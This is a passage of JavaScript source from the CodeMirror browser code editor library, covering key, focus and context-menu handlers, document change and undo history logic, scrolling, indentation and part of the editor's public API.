var cm = this;
ensureFocus(cm);
if (signalDOMEvent(cm, e)) return;
// IE does strange things with escape.
if (ie && ie_version < 11 && e.keyCode == 27) e.returnValue = false;
var code = e.keyCode;
cm.display.shift = code == 16 || e.shiftKey;
var handled = handleKeyBinding(cm, e);
if (presto) {
lastStoppedKey = handled ? code : null;
// Opera has no cut event... we try to at least catch the key combo
if (!handled && code == 88 && !hasCopyEvent && (mac ? e.metaKey : e.ctrlKey))
cm.replaceSelection("", null, "cut");
}
// Turn mouse into crosshair when Alt is held on Mac.
if (code == 18 && !/\bCodeMirror-crosshair\b/.test(cm.display.lineDiv.className))
showCrossHair(cm);
}
function showCrossHair(cm) {
var lineDiv = cm.display.lineDiv;
addClass(lineDiv, "CodeMirror-crosshair");
function up(e) {
if (e.keyCode == 18 || !e.altKey) {
rmClass(lineDiv, "CodeMirror-crosshair");
off(document, "keyup", up);
off(document, "mouseover", up);
}
}
on(document, "keyup", up);
on(document, "mouseover", up);
}
function onKeyUp(e) {
if (e.keyCode == 16) this.doc.sel.shift = false;
signalDOMEvent(this, e);
}
function onKeyPress(e) {
var cm = this;
if (signalDOMEvent(cm, e) || e.ctrlKey && !e.altKey || mac && e.metaKey) return;
var keyCode = e.keyCode, charCode = e.charCode;
if (presto && keyCode == lastStoppedKey) {lastStoppedKey = null; e_preventDefault(e); return;}
if (((presto && (!e.which || e.which < 10)) || khtml) && handleKeyBinding(cm, e)) return;
var ch = String.fromCharCode(charCode == null ? keyCode : charCode);
if (handleCharBinding(cm, e, ch)) return;
if (ie && ie_version >= 9) cm.display.inputHasSelection = null;
fastPoll(cm);
}
// FOCUS/BLUR EVENTS
function onFocus(cm) {
if (cm.options.readOnly == "nocursor") return;
if (!cm.state.focused) {
signal(cm, "focus", cm);
cm.state.focused = true;
addClass(cm.display.wrapper, "CodeMirror-focused");
// The prevInput test prevents this from firing when a context
// menu is closed (since the resetInput would kill the
// select-all detection hack)
if (!cm.curOp && cm.display.selForContextMenu != cm.doc.sel) {
resetInput(cm);
if (webkit) setTimeout(bind(resetInput, cm, true), 0); // Issue #1730
}
}
slowPoll(cm);
restartBlink(cm);
}
function onBlur(cm) {
if (cm.state.focused) {
signal(cm, "blur", cm);
cm.state.focused = false;
rmClass(cm.display.wrapper, "CodeMirror-focused");
}
clearInterval(cm.display.blinker);
setTimeout(function() {if (!cm.state.focused) cm.display.shift = false;}, 150);
}
// CONTEXT MENU HANDLING
// To make the context menu work, we need to briefly unhide the
// textarea (making it as unobtrusive as possible) to let the
// right-click take effect on it.
function onContextMenu(cm, e) {
if (signalDOMEvent(cm, e, "contextmenu")) return;
var display = cm.display;
if (eventInWidget(display, e) || contextMenuInGutter(cm, e)) return;
var pos = posFromMouse(cm, e), scrollPos = display.scroller.scrollTop;
if (!pos || presto) return; // Opera is difficult.
// Reset the current text selection only if the click is done outside of the selection
// and 'resetSelectionOnContextMenu' option is true.
var reset = cm.options.resetSelectionOnContextMenu;
if (reset && cm.doc.sel.contains(pos) == -1)
operation(cm, setSelection)(cm.doc, simpleSelection(pos), sel_dontScroll);
var oldCSS = display.input.style.cssText;
display.inputDiv.style.position = "absolute";
display.input.style.cssText = "position: fixed; width: 30px; height: 30px; top: " + (e.clientY - 5) +
"px; left: " + (e.clientX - 5) + "px; z-index: 1000; background: " +
(ie ? "rgba(255, 255, 255, .05)" : "transparent") +
"; outline: none; border-width: 0; outline: none; overflow: hidden; opacity: .05; filter: alpha(opacity=5);";
if (webkit) var oldScrollY = window.scrollY; // Work around Chrome issue (#2712)
focusInput(cm);
if (webkit) window.scrollTo(null, oldScrollY);
resetInput(cm);
// Adds "Select all" to context menu in FF
if (!cm.somethingSelected()) display.input.value = display.prevInput = " ";
display.selForContextMenu = cm.doc.sel;
clearTimeout(display.detectingSelectAll);
// Select-all will be greyed out if there's nothing to select, so
// this adds a zero-width space so that we can later check whether
// it got selected.
function prepareSelectAllHack() {
if (display.input.selectionStart != null) {
var selected = cm.somethingSelected();
var extval = display.input.value = "\u200b" + (selected ? display.input.value : "");
display.prevInput = selected ? "" : "\u200b";
display.input.selectionStart = 1; display.input.selectionEnd = extval.length;
// Re-set this, in case some other handler touched the
// selection in the meantime.
display.selForContextMenu = cm.doc.sel;
}
}
function rehide() {
display.inputDiv.style.position = "relative";
display.input.style.cssText = oldCSS;
if (ie && ie_version < 9) display.scrollbarV.scrollTop = display.scroller.scrollTop = scrollPos;
slowPoll(cm);
// Try to detect the user choosing select-all
if (display.input.selectionStart != null) {
if (!ie || (ie && ie_version < 9)) prepareSelectAllHack();
var i = 0, poll = function() {
if (display.selForContextMenu == cm.doc.sel && display.input.selectionStart == 0)
operation(cm, commands.selectAll)(cm);
else if (i++ < 10) display.detectingSelectAll = setTimeout(poll, 500);
else resetInput(cm);
};
display.detectingSelectAll = setTimeout(poll, 200);
}
}
if (ie && ie_version >= 9) prepareSelectAllHack();
if (captureRightClick) {
e_stop(e);
var mouseup = function() {
off(window, "mouseup", mouseup);
setTimeout(rehide, 20);
};
on(window, "mouseup", mouseup);
} else {
setTimeout(rehide, 50);
}
}
function contextMenuInGutter(cm, e) {
if (!hasHandler(cm, "gutterContextMenu")) return false;
return gutterEvent(cm, e, "gutterContextMenu", false, signal);
}
// UPDATING
// Compute the position of the end of a change (its 'to' property
// refers to the pre-change end).
var changeEnd = CodeMirror.changeEnd = function(change) {
if (!change.text) return change.to;
return Pos(change.from.line + change.text.length - 1,
lst(change.text).length + (change.text.length == 1 ? change.from.ch : 0));
};
// Adjust a position to refer to the post-change position of the
// same text, or the end of the change if the change covers it.
function adjustForChange(pos, change) {
if (cmp(pos, change.from) < 0) return pos;
if (cmp(pos, change.to) <= 0) return changeEnd(change);
var line = pos.line + change.text.length - (change.to.line - change.from.line) - 1, ch = pos.ch;
if (pos.line == change.to.line) ch += changeEnd(change).ch - change.to.ch;
return Pos(line, ch);
}
function computeSelAfterChange(doc, change) {
var out = [];
for (var i = 0; i < doc.sel.ranges.length; i++) {
var range = doc.sel.ranges[i];
out.push(new Range(adjustForChange(range.anchor, change),
adjustForChange(range.head, change)));
}
return normalizeSelection(out, doc.sel.primIndex);
}
function offsetPos(pos, old, nw) {
if (pos.line == old.line)
return Pos(nw.line, pos.ch - old.ch + nw.ch);
else
return Pos(nw.line + (pos.line - old.line), pos.ch);
}
// Used by replaceSelections to allow moving the selection to the
// start or around the replaced test. Hint may be "start" or "around".
function computeReplacedSel(doc, changes, hint) {
var out = [];
var oldPrev = Pos(doc.first, 0), newPrev = oldPrev;
for (var i = 0; i < changes.length; i++) {
var change = changes[i];
var from = offsetPos(change.from, oldPrev, newPrev);
var to = offsetPos(changeEnd(change), oldPrev, newPrev);
oldPrev = change.to;
newPrev = to;
if (hint == "around") {
var range = doc.sel.ranges[i], inv = cmp(range.head, range.anchor) < 0;
out[i] = new Range(inv ? to : from, inv ? from : to);
} else {
out[i] = new Range(from, from);
}
}
return new Selection(out, doc.sel.primIndex);
}
// Allow "beforeChange" event handlers to influence a change
function filterChange(doc, change, update) {
var obj = {
canceled: false,
from: change.from,
to: change.to,
text: change.text,
origin: change.origin,
cancel: function() { this.canceled = true; }
};
if (update) obj.update = function(from, to, text, origin) {
if (from) this.from = clipPos(doc, from);
if (to) this.to = clipPos(doc, to);
if (text) this.text = text;
if (origin !== undefined) this.origin = origin;
};
signal(doc, "beforeChange", doc, obj);
if (doc.cm) signal(doc.cm, "beforeChange", doc.cm, obj);
if (obj.canceled) return null;
return {from: obj.from, to: obj.to, text: obj.text, origin: obj.origin};
}
// Apply a change to a document, and add it to the document's
// history, and propagating it to all linked documents.
function makeChange(doc, change, ignoreReadOnly) {
if (doc.cm) {
if (!doc.cm.curOp) return operation(doc.cm, makeChange)(doc, change, ignoreReadOnly);
if (doc.cm.state.suppressEdits) return;
}
if (hasHandler(doc, "beforeChange") || doc.cm && hasHandler(doc.cm, "beforeChange")) {
change = filterChange(doc, change, true);
if (!change) return;
}
// Possibly split or suppress the update based on the presence
// of read-only spans in its range.
var split = sawReadOnlySpans && !ignoreReadOnly && removeReadOnlyRanges(doc, change.from, change.to);
if (split) {
for (var i = split.length - 1; i >= 0; --i)
makeChangeInner(doc, {from: split[i].from, to: split[i].to, text: i ? [""] : change.text});
} else {
makeChangeInner(doc, change);
}
}
function makeChangeInner(doc, change) {
if (change.text.length == 1 && change.text[0] == "" && cmp(change.from, change.to) == 0) return;
var selAfter = computeSelAfterChange(doc, change);
addChangeToHistory(doc, change, selAfter, doc.cm ? doc.cm.curOp.id : NaN);
makeChangeSingleDoc(doc, change, selAfter, stretchSpansOverChange(doc, change));
var rebased = [];
linkedDocs(doc, function(doc, sharedHist) {
if (!sharedHist && indexOf(rebased, doc.history) == -1) {
rebaseHist(doc.history, change);
rebased.push(doc.history);
}
makeChangeSingleDoc(doc, change, null, stretchSpansOverChange(doc, change));
});
}
// Revert a change stored in a document's history.
function makeChangeFromHistory(doc, type, allowSelectionOnly) {
if (doc.cm && doc.cm.state.suppressEdits) return;
var hist = doc.history, event, selAfter = doc.sel;
var source = type == "undo" ? hist.done : hist.undone, dest = type == "undo" ? hist.undone : hist.done;
// Verify that there is a useable event (so that ctrl-z won't
// needlessly clear selection events)
for (var i = 0; i < source.length; i++) {
event = source[i];
if (allowSelectionOnly ? event.ranges && !event.equals(doc.sel) : !event.ranges)
break;
}
if (i == source.length) return;
hist.lastOrigin = hist.lastSelOrigin = null;
for (;;) {
event = source.pop();
if (event.ranges) {
pushSelectionToHistory(event, dest);
if (allowSelectionOnly && !event.equals(doc.sel)) {
setSelection(doc, event, {clearRedo: false});
return;
}
selAfter = event;
}
else break;
}
// Build up a reverse change object to add to the opposite history
// stack (redo when undoing, and vice versa).
var antiChanges = [];
pushSelectionToHistory(selAfter, dest);
dest.push({changes: antiChanges, generation: hist.generation});
hist.generation = event.generation || ++hist.maxGeneration;
var filter = hasHandler(doc, "beforeChange") || doc.cm && hasHandler(doc.cm, "beforeChange");
for (var i = event.changes.length - 1; i >= 0; --i) {
var change = event.changes[i];
change.origin = type;
if (filter && !filterChange(doc, change, false)) {
source.length = 0;
return;
}
antiChanges.push(historyChangeFromChange(doc, change));
var after = i ? computeSelAfterChange(doc, change) : lst(source);
makeChangeSingleDoc(doc, change, after, mergeOldSpans(doc, change));
if (!i && doc.cm) doc.cm.scrollIntoView({from: change.from, to: changeEnd(change)});
var rebased = [];
// Propagate to the linked documents
linkedDocs(doc, function(doc, sharedHist) {
if (!sharedHist && indexOf(rebased, doc.history) == -1) {
rebaseHist(doc.history, change);
rebased.push(doc.history);
}
makeChangeSingleDoc(doc, change, null, mergeOldSpans(doc, change));
});
}
}
// Sub-views need their line numbers shifted when text is added
// above or below them in the parent document.
function shiftDoc(doc, distance) {
if (distance == 0) return;
doc.first += distance;
doc.sel = new Selection(map(doc.sel.ranges, function(range) {
return new Range(Pos(range.anchor.line + distance, range.anchor.ch),
Pos(range.head.line + distance, range.head.ch));
}), doc.sel.primIndex);
if (doc.cm) {
regChange(doc.cm, doc.first, doc.first - distance, distance);
for (var d = doc.cm.display, l = d.viewFrom; l < d.viewTo; l++)
regLineChange(doc.cm, l, "gutter");
}
}
// More lower-level change function, handling only a single document
// (not linked ones).
function makeChangeSingleDoc(doc, change, selAfter, spans) {
if (doc.cm && !doc.cm.curOp)
return operation(doc.cm, makeChangeSingleDoc)(doc, change, selAfter, spans);
if (change.to.line < doc.first) {
shiftDoc(doc, change.text.length - 1 - (change.to.line - change.from.line));
return;
}
if (change.from.line > doc.lastLine()) return;
// Clip the change to the size of this doc
if (change.from.line < doc.first) {
var shift = change.text.length - 1 - (doc.first - change.from.line);
shiftDoc(doc, shift);
change = {from: Pos(doc.first, 0), to: Pos(change.to.line + shift, change.to.ch),
text: [lst(change.text)], origin: change.origin};
}
var last = doc.lastLine();
if (change.to.line > last) {
change = {from: change.from, to: Pos(last, getLine(doc, last).text.length),
text: [change.text[0]], origin: change.origin};
}
change.removed = getBetween(doc, change.from, change.to);
if (!selAfter) selAfter = computeSelAfterChange(doc, change);
if (doc.cm) makeChangeSingleDocInEditor(doc.cm, change, spans);
else updateDoc(doc, change, spans);
setSelectionNoUndo(doc, selAfter, sel_dontScroll);
}
// Handle the interaction of a change to a document with the editor
// that this document is part of.
function makeChangeSingleDocInEditor(cm, change, spans) {
var doc = cm.doc, display = cm.display, from = change.from, to = change.to;
var recomputeMaxLength = false, checkWidthStart = from.line;
if (!cm.options.lineWrapping) {
checkWidthStart = lineNo(visualLine(getLine(doc, from.line)));
doc.iter(checkWidthStart, to.line + 1, function(line) {
if (line == display.maxLine) {
recomputeMaxLength = true;
return true;
}
});
}
if (doc.sel.contains(change.from, change.to) > -1)
signalCursorActivity(cm);
updateDoc(doc, change, spans, estimateHeight(cm));
if (!cm.options.lineWrapping) {
doc.iter(checkWidthStart, from.line + change.text.length, function(line) {
var len = lineLength(line);
if (len > display.maxLineLength) {
display.maxLine = line;
display.maxLineLength = len;
display.maxLineChanged = true;
recomputeMaxLength = false;
}
});
if (recomputeMaxLength) cm.curOp.updateMaxLine = true;
}
// Adjust frontier, schedule worker
doc.frontier = Math.min(doc.frontier, from.line);
startWorker(cm, 400);
var lendiff = change.text.length - (to.line - from.line) - 1;
// Remember that these lines changed, for updating the display
if (from.line == to.line && change.text.length == 1 && !isWholeLineUpdate(cm.doc, change))
regLineChange(cm, from.line, "text");
else
regChange(cm, from.line, to.line + 1, lendiff);
var changesHandler = hasHandler(cm, "changes"), changeHandler = hasHandler(cm, "change");
if (changeHandler || changesHandler) {
var obj = {
from: from, to: to,
text: change.text,
removed: change.removed,
origin: change.origin
};
if (changeHandler) signalLater(cm, "change", cm, obj);
if (changesHandler) (cm.curOp.changeObjs || (cm.curOp.changeObjs = [])).push(obj);
}
cm.display.selForContextMenu = null;
}
function replaceRange(doc, code, from, to, origin) {
if (!to) to = from;
if (cmp(to, from) < 0) { var tmp = to; to = from; from = tmp; }
if (typeof code == "string") code = splitLines(code);
makeChange(doc, {from: from, to: to, text: code, origin: origin});
}
// SCROLLING THINGS INTO VIEW
// If an editor sits on the top or bottom of the window, partially
// scrolled out of view, this ensures that the cursor is visible.
function maybeScrollWindow(cm, coords) {
var display = cm.display, box = display.sizer.getBoundingClientRect(), doScroll = null;
if (coords.top + box.top < 0) doScroll = true;
else if (coords.bottom + box.top > (window.innerHeight || document.documentElement.clientHeight)) doScroll = false;
if (doScroll != null && !phantom) {
var scrollNode = elt("div", "\u200b", null, "position: absolute; top: " +
(coords.top - display.viewOffset - paddingTop(cm.display)) + "px; height: " +
(coords.bottom - coords.top + scrollerCutOff) + "px; left: " +
coords.left + "px; width: 2px;");
cm.display.lineSpace.appendChild(scrollNode);
scrollNode.scrollIntoView(doScroll);
cm.display.lineSpace.removeChild(scrollNode);
}
}
// Scroll a given position into view (immediately), verifying that
// it actually became visible (as line heights are accurately
// measured, the position of something may 'drift' during drawing).
function scrollPosIntoView(cm, pos, end, margin) {
if (margin == null) margin = 0;
for (;;) {
var changed = false, coords = cursorCoords(cm, pos);
var endCoords = !end || end == pos ? coords : cursorCoords(cm, end);
var scrollPos = calculateScrollPos(cm, Math.min(coords.left, endCoords.left),
Math.min(coords.top, endCoords.top) - margin,
Math.max(coords.left, endCoords.left),
Math.max(coords.bottom, endCoords.bottom) + margin);
var startTop = cm.doc.scrollTop, startLeft = cm.doc.scrollLeft;
if (scrollPos.scrollTop != null) {
setScrollTop(cm, scrollPos.scrollTop);
if (Math.abs(cm.doc.scrollTop - startTop) > 1) changed = true;
}
if (scrollPos.scrollLeft != null) {
setScrollLeft(cm, scrollPos.scrollLeft);
if (Math.abs(cm.doc.scrollLeft - startLeft) > 1) changed = true;
}
if (!changed) return coords;
}
}
// Scroll a given set of coordinates into view (immediately).
function scrollIntoView(cm, x1, y1, x2, y2) {
var scrollPos = calculateScrollPos(cm, x1, y1, x2, y2);
if (scrollPos.scrollTop != null) setScrollTop(cm, scrollPos.scrollTop);
if (scrollPos.scrollLeft != null) setScrollLeft(cm, scrollPos.scrollLeft);
}
// Calculate a new scroll position needed to scroll the given
// rectangle into view. Returns an object with scrollTop and
// scrollLeft properties. When these are undefined, the
// vertical/horizontal position does not need to be adjusted.
function calculateScrollPos(cm, x1, y1, x2, y2) {
var display = cm.display, snapMargin = textHeight(cm.display);
if (y1 < 0) y1 = 0;
var screentop = cm.curOp && cm.curOp.scrollTop != null ? cm.curOp.scrollTop : display.scroller.scrollTop;
var screen = display.scroller.clientHeight - scrollerCutOff, result = {};
if (y2 - y1 > screen) y2 = y1 + screen;
var docBottom = cm.doc.height + paddingVert(display);
var atTop = y1 < snapMargin, atBottom = y2 > docBottom - snapMargin;
if (y1 < screentop) {
result.scrollTop = atTop ? 0 : y1;
} else if (y2 > screentop + screen) {
var newTop = Math.min(y1, (atBottom ? docBottom : y2) - screen);
if (newTop != screentop) result.scrollTop = newTop;
}
var screenleft = cm.curOp && cm.curOp.scrollLeft != null ? cm.curOp.scrollLeft : display.scroller.scrollLeft;
var screenw = display.scroller.clientWidth - scrollerCutOff - display.gutters.offsetWidth;
var tooWide = x2 - x1 > screenw;
if (tooWide) x2 = y1 + screen;
if (x1 < 10)
result.scrollLeft = 0;
else if (x1 < screenleft)
result.scrollLeft = Math.max(0, x1 - (tooWide ? 0 : 10));
else if (x2 > screenw + screenleft - 3)
result.scrollLeft = x2 + (tooWide ? 0 : 10) - screenw;
return result;
}
// Store a relative adjustment to the scroll position in the current
// operation (to be applied when the operation finishes).
function addToScrollPos(cm, left, top) {
if (left != null || top != null) resolveScrollToPos(cm);
if (left != null)
cm.curOp.scrollLeft = (cm.curOp.scrollLeft == null ? cm.doc.scrollLeft : cm.curOp.scrollLeft) + left;
if (top != null)
cm.curOp.scrollTop = (cm.curOp.scrollTop == null ? cm.doc.scrollTop : cm.curOp.scrollTop) + top;
}
// Make sure that at the end of the operation the current cursor is
// shown.
function ensureCursorVisible(cm) {
resolveScrollToPos(cm);
var cur = cm.getCursor(), from = cur, to = cur;
if (!cm.options.lineWrapping) {
from = cur.ch ? Pos(cur.line, cur.ch - 1) : cur;
to = Pos(cur.line, cur.ch + 1);
}
cm.curOp.scrollToPos = {from: from, to: to, margin: cm.options.cursorScrollMargin, isCursor: true};
}
// When an operation has its scrollToPos property set, and another
// scroll action is applied before the end of the operation, this
// 'simulates' scrolling that position into view in a cheap way, so
// that the effect of intermediate scroll commands is not ignored.
function resolveScrollToPos(cm) {
var range = cm.curOp.scrollToPos;
if (range) {
cm.curOp.scrollToPos = null;
var from = estimateCoords(cm, range.from), to = estimateCoords(cm, range.to);
var sPos = calculateScrollPos(cm, Math.min(from.left, to.left),
Math.min(from.top, to.top) - range.margin,
Math.max(from.right, to.right),
Math.max(from.bottom, to.bottom) + range.margin);
cm.scrollTo(sPos.scrollLeft, sPos.scrollTop);
}
}
// API UTILITIES
// Indent the given line. The how parameter can be "smart",
// "add"/null, "subtract", or "prev". When aggressive is false
// (typically set to true for forced single-line indents), empty
// lines are not indented, and places where the mode returns Pass
// are left alone.
function indentLine(cm, n, how, aggressive) {
var doc = cm.doc, state;
if (how == null) how = "add";
if (how == "smart") {
// Fall back to "prev" when the mode doesn't have an indentation
// method.
if (!doc.mode.indent) how = "prev";
else state = getStateBefore(cm, n);
}
var tabSize = cm.options.tabSize;
var line = getLine(doc, n), curSpace = countColumn(line.text, null, tabSize);
if (line.stateAfter) line.stateAfter = null;
var curSpaceString = line.text.match(/^\s*/)[0], indentation;
if (!aggressive && !/\S/.test(line.text)) {
indentation = 0;
how = "not";
} else if (how == "smart") {
indentation = doc.mode.indent(state, line.text.slice(curSpaceString.length), line.text);
if (indentation == Pass || indentation > 150) {
if (!aggressive) return;
how = "prev";
}
}
if (how == "prev") {
if (n > doc.first) indentation = countColumn(getLine(doc, n-1).text, null, tabSize);
else indentation = 0;
} else if (how == "add") {
indentation = curSpace + cm.options.indentUnit;
} else if (how == "subtract") {
indentation = curSpace - cm.options.indentUnit;
} else if (typeof how == "number") {
indentation = curSpace + how;
}
indentation = Math.max(0, indentation);
var indentString = "", pos = 0;
if (cm.options.indentWithTabs)
for (var i = Math.floor(indentation / tabSize); i; --i) {pos += tabSize; indentString += "\t";}
if (pos < indentation) indentString += spaceStr(indentation - pos);
if (indentString != curSpaceString) {
replaceRange(doc, indentString, Pos(n, 0), Pos(n, curSpaceString.length), "+input");
} else {
// Ensure that, if the cursor was in the whitespace at the start
// of the line, it is moved to the end of that space.
for (var i = 0; i < doc.sel.ranges.length; i++) {
var range = doc.sel.ranges[i];
if (range.head.line == n && range.head.ch < curSpaceString.length) {
var pos = Pos(n, curSpaceString.length);
replaceOneSelection(doc, i, new Range(pos, pos));
break;
}
}
}
line.stateAfter = null;
}
// Utility for applying a change to a line by handle or number,
// returning the number and optionally registering the line as
// changed.
function changeLine(doc, handle, changeType, op) {
var no = handle, line = handle;
if (typeof handle == "number") line = getLine(doc, clipLine(doc, handle));
else no = lineNo(handle);
if (no == null) return null;
if (op(line, no) && doc.cm) regLineChange(doc.cm, no, changeType);
return line;
}
// Helper for deleting text near the selection(s), used to implement
// backspace, delete, and similar functionality.
function deleteNearSelection(cm, compute) {
var ranges = cm.doc.sel.ranges, kill = [];
// Build up a set of ranges to kill first, merging overlapping
// ranges.
for (var i = 0; i < ranges.length; i++) {
var toKill = compute(ranges[i]);
while (kill.length && cmp(toKill.from, lst(kill).to) <= 0) {
var replaced = kill.pop();
if (cmp(replaced.from, toKill.from) < 0) {
toKill.from = replaced.from;
break;
}
}
kill.push(toKill);
}
// Next, remove those actual ranges.
runInOp(cm, function() {
for (var i = kill.length - 1; i >= 0; i--)
replaceRange(cm.doc, "", kill[i].from, kill[i].to, "+delete");
ensureCursorVisible(cm);
});
}
// Used for horizontal relative motion. Dir is -1 or 1 (left or
// right), unit can be "char", "column" (like char, but doesn't
// cross line boundaries), "word" (across next word), or "group" (to
// the start of next group of word or non-word-non-whitespace
// chars). The visually param controls whether, in right-to-left
// text, direction 1 means to move towards the next index in the
// string, or towards the character to the right of the current
// position. The resulting position will have a hitSide=true
// property if it reached the end of the document.
function findPosH(doc, pos, dir, unit, visually) {
var line = pos.line, ch = pos.ch, origDir = dir;
var lineObj = getLine(doc, line);
var possible = true;
function findNextLine() {
var l = line + dir;
if (l < doc.first || l >= doc.first + doc.size) return (possible = false);
line = l;
return lineObj = getLine(doc, l);
}
function moveOnce(boundToLine) {
var next = (visually ? moveVisually : moveLogically)(lineObj, ch, dir, true);
if (next == null) {
if (!boundToLine && findNextLine()) {
if (visually) ch = (dir < 0 ? lineRight : lineLeft)(lineObj);
else ch = dir < 0 ? lineObj.text.length : 0;
} else return (possible = false);
} else ch = next;
return true;
}
if (unit == "char") moveOnce();
else if (unit == "column") moveOnce(true);
else if (unit == "word" || unit == "group") {
var sawType = null, group = unit == "group";
var helper = doc.cm && doc.cm.getHelper(pos, "wordChars");
for (var first = true;; first = false) {
if (dir < 0 && !moveOnce(!first)) break;
var cur = lineObj.text.charAt(ch) || "\n";
var type = isWordChar(cur, helper) ? "w"
: group && cur == "\n" ? "n"
: !group || /\s/.test(cur) ? null
: "p";
if (group && !first && !type) type = "s";
if (sawType && sawType != type) {
if (dir < 0) {dir = 1; moveOnce();}
break;
}
if (type) sawType = type;
if (dir > 0 && !moveOnce(!first)) break;
}
}
var result = skipAtomic(doc, Pos(line, ch), origDir, true);
if (!possible) result.hitSide = true;
return result;
}
// For relative vertical movement. Dir may be -1 or 1. Unit can be
// "page" or "line". The resulting position will have a hitSide=true
// property if it reached the end of the document.
function findPosV(cm, pos, dir, unit) {
var doc = cm.doc, x = pos.left, y;
if (unit == "page") {
var pageSize = Math.min(cm.display.wrapper.clientHeight, window.innerHeight || document.documentElement.clientHeight);
y = pos.top + dir * (pageSize - (dir < 0 ? 1.5 : .5) * textHeight(cm.display));
} else if (unit == "line") {
y = dir > 0 ? pos.bottom + 3 : pos.top - 3;
}
for (;;) {
var target = coordsChar(cm, x, y);
if (!target.outside) break;
if (dir < 0 ? y <= 0 : y >= doc.height) { target.hitSide = true; break; }
y += dir * 5;
}
return target;
}
// EDITOR METHODS
// The publicly visible API. Note that methodOp(f) means
// 'wrap f in an operation, performed on its `this` parameter'.
// This is not the complete set of editor methods. Most of the
// methods defined on the Doc type are also injected into
// CodeMirror.prototype, for backwards compatibility and
// convenience.
CodeMirror.prototype = {
constructor: CodeMirror,
focus: function(){window.focus(); focusInput(this); fastPoll(this);},
setOption: function(option, value) {
var options = this.options, old = options[option];
if (options[option] == value && option != "mode") return;
options[option] = value;
if (optionHandlers.hasOwnProperty(option))
operation(this, optionHandlers[option])(this, value, old);
},
getOption: function(option) {return this.options[option];},
getDoc: function() {return this.doc;},
addKeyMap: function(map, bottom) {
this.state.keyMaps[bottom ? "push" : "unshift"](map);
},
removeKeyMap: function(map) {
var maps = this.state.keyMaps;
for (var i = 0; i < maps.length; ++i)
if (maps[i] == map || (typeof maps[i] != "string" && maps[i].name == map)) {
maps.splice(i, 1);
return true;
}
},
addOverlay: methodOp(function(spec, options) {
var mode = spec.token ? spec : CodeMirror.getMode(this.options, spec);
if (mode.startState) throw new Error("Overlays may not be stateful.");
this.state.overlays.push({mode: mode, modeSpec: spec, opaque: options && options.opaque});
this.state.modeGen++;
regChange(this);
}),
removeOverlay: methodOp(function(spec) {
var overlays = this.state.overlays;
for (var i = 0; i < overlays.length; ++i) {
var cur = overlays[i].modeSpec;
if (cur == spec || typeof spec == "string" && cur.name == spec) {
overlays.splice(i, 1);
this.state.modeGen++;
regChange(this);
return;
}
}
}),
indentLine: methodOp(function(n, dir, aggressive) {
if (typeof dir != "string" && typeof dir != "number") {
if (dir == null) dir = this.options.smartIndent ? "smart" : "prev";
else dir = dir ? "add" : "subtract";
}
if (isLine(this.doc, n)) indentLine(this, n, dir, aggressive);
}),
indentSelection: methodOp(function(how) {
var ranges = this.doc.sel.ranges, end = -1;
for (var i = 0; i < ranges.length; i++) {
var range = ranges[i];
if (!range.empty()) {
var from = range.from(), to = range.to();
var start = Math.max(end, from.line);
end = Math.min(this.lastLine(), to.line - (to.ch ? 0 : 1)) + 1;
for (var j = start; j < end; ++j)
indentLine(this, j, how);
var newRanges = this.doc.sel.ranges;
if (from.ch == 0 && ranges.length == newRanges.length && newRanges[i].from().ch > 0)
replaceOneSelection(this.doc, i, new Range(from, newRanges[i].to()), sel_dontScroll);
} else if (range.head.line > end) {
indentLine(this, range.head.line, how, true);
end = range.head.line;
if (i == this.doc.sel.primIndex) ensureCursorVisible(this);
}
}
}),
// Fetch the parser token for a given character. Useful for hacks
// that want to inspect the mode state (say, for completion).
getTokenAt: function(pos, precise) {
var doc = this.doc;
pos = clipPos(doc, pos);
var state = getStateBefore(this, pos.line, precise), mode = this.doc.mode;
var line = getLine(doc, pos.line);
var stream = new StringStream(line.text, this.options.tabSize);
while (stream.pos < pos.ch && !stream.eol()) {
stream.start = stream.pos;
var style = readToken(mode, stream, state);
}
return {start: stream.start,
end: stream.pos,
string: stream.current(),
type: style || null,
state: state};
},
getTokenTypeAt: function(pos) {
pos = clipPos(this.doc, pos);
var styles = getLineStyles(this, getLine(this.doc, pos.line));
var before = 0, after = (styles.length - 1) / 2, ch = pos.ch;
var type;
if (ch == 0) type = styles[2];
else for (;;) {
var mid = (before + after) >> 1;
if ((mid ? styles[mid * 2 - 1] : 0) >= ch) after = mid;
else if (styles[mid * 2 + 1] < ch) before = mid + 1;
else { type = styles[mid * 2 + 2]; break; }
}
var cut = type ? type.indexOf("cm-overlay ") : -1;
return cut < 0 ? type : cut == 0 ? null : type.slice(0, cut - 1);
},
getModeAt: function(pos) {
var mode = this.doc.mode;
if (!mode.innerMode) return mode;
return CodeMirror.innerMode(mode, this.getTokenAt(pos).state).mode;
},
getHelper: function(pos, type) {
return this.getHelpers(pos, type)[0];
},
getHelpers: function(pos, type) {
var found = [];
if (!helpers.hasOwnProperty(type)) return helpers;
var help = helpers[type], mode = this.getModeAt(pos);
if (typeof mode[type] == "string") {
if (help[mode[type]]) found.push(help[mode[type]]);
} else if (mode[type]) {
for (var i = 0; i < mode[type].length; i++) {
var val = help[mode[type][i]];
if (val) found.push(val);
}
} else if (mode.helperType && help[mode.helperType]) {
found.push(help[mode.helperType]);
} else if (help[mode.name]) {
found.push(help[mode.name]);
}
for (var i = 0; i < help._global.length; i++) {
var cur = help._global[i];
if (cur.pred(mode, this) && indexOf(found, cur.val) == -1)
found.push(cur.val);
}
return found;
},
getStateAfter: function(line, precise) {
var doc = this.doc;
line = clipLine(doc, line == null ? doc.first + doc.size - 1: line);
return getStateBefore(this, line + 1, precise);
},
cursorCoords: function(start, mode) {
var pos, range = this.doc.sel.primary();
if (start == null) pos = range.head;
else if (typeof start == "object") pos = clipPos(this.doc, start);
else pos = start ? range.from() : range.to();
return cursorCoords(this, pos, mode || "page");
},
charCoords: function(pos, mode) {
return charCoords(this, clipPos(this.doc, pos), mode || "page");
},
coordsChar: function(coords, mode) {
coords = fromCoordSystem(this, coords, mode || "page");
return coordsChar(this, coords.left, coords.top);
},
lineAtHeight: function(height, mode) {
height = fromCoordSystem(this, {top: height, left: 0}, mode || "page").top;
return lineAtHeight(this.doc, height + this.display.viewOffset);
},
heightAtLine: function(line, mode) {
var end = false, last = this.doc.first + this.doc.size - 1;
if (line < this.doc.first) line = this.doc.first;
else if (line > last) { line = last; end = true; }
var lineObj = getLine(this.doc, line);
return intoCoordSystem(this, lineObj, {top: 0, left: 0}, mode || "page").top +
(end ? this.doc.height - heightAtLine(lineObj) : 0);
},
defaultTextHeight: function() { return textHeight(this.display); },
defaultCharWidth: function() { return charWidth(this.display); },
setGutterMarker: methodOp(function(line, gutterID, value) {
return changeLine(this.doc, line, "gutter", function(line) {
